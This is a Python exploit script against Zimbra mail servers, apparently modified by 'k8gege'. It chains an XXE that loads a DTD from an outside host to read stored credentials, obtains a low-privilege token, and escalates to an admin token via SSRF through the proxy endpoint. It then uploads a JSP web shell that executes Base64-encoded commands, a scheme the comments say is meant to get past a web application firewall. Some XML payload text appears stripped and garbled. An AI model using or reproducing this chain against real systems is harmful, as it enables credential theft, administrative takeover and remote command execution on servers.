#coding=utf8 import requests import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) base_url=sys.argv[1] base_url=base_url.rstrip("/") #upload file name and content #modify by k8gege #Connect "shell.jsp" using K8fly CmdShell #Because the CMD parameter is encrypted using Base64(bypass WAF) filename = "shell.jsp" fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>' print(base_url) #dtd file url dtd_url="https://k8gege.github.io/zimbra.dtd" """ "> "> """ xxe_data = r""" %dtd; %all; ]> aaaaa &fileContents; """.format(dtd=dtd_url) #XXE stage headers = { "Content-Type":"application/xml" } print("[*] Get User Name/Password By XXE ") r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15) #print r.text if 'response schema not available' not in r.text: print("have no xxe") exit() #low_token Stage import re pattern_name = re.compile(r"\n.*?(.*?)<\/value>") pattern_password = re.compile(r"\n.*?(.*?)<\/value>") username = pattern_name.findall(r.text)[0][2] password = pattern_password.findall(r.text)[0][2] print(username) print(password) auth_body=""" {username} {password} """ print("[*] Get Low Privilege Auth Token") r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False) pattern_auth_token=re.compile(r"(.*?)") low_priv_token = pattern_auth_token.findall(r.text)[0] #print(low_priv_token) # SSRF+Get Admin_Token Stage headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";" headers["Host"]="foo:7071" print("[*] Get Admin Auth Token By SSRF") r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False) admin_token =pattern_auth_token.findall(r.text)[0] #print("ADMIN_TOKEN:"+admin_token) f = { 'filename1':(None,"whocare",None), 'clientFile':(filename,fileContent,"text/plain"), 'requestId':(None,"12",None), } headers ={ "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";" } print("[*] Uploading file") r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False) #print(r.text) print("Shell: "+base_url+"/downloads/"+filename) #print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)") print("[*] Request Result:") s = requests.session() r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers) #print(r.text) print("May need cookie:") print(headers['Cookie'])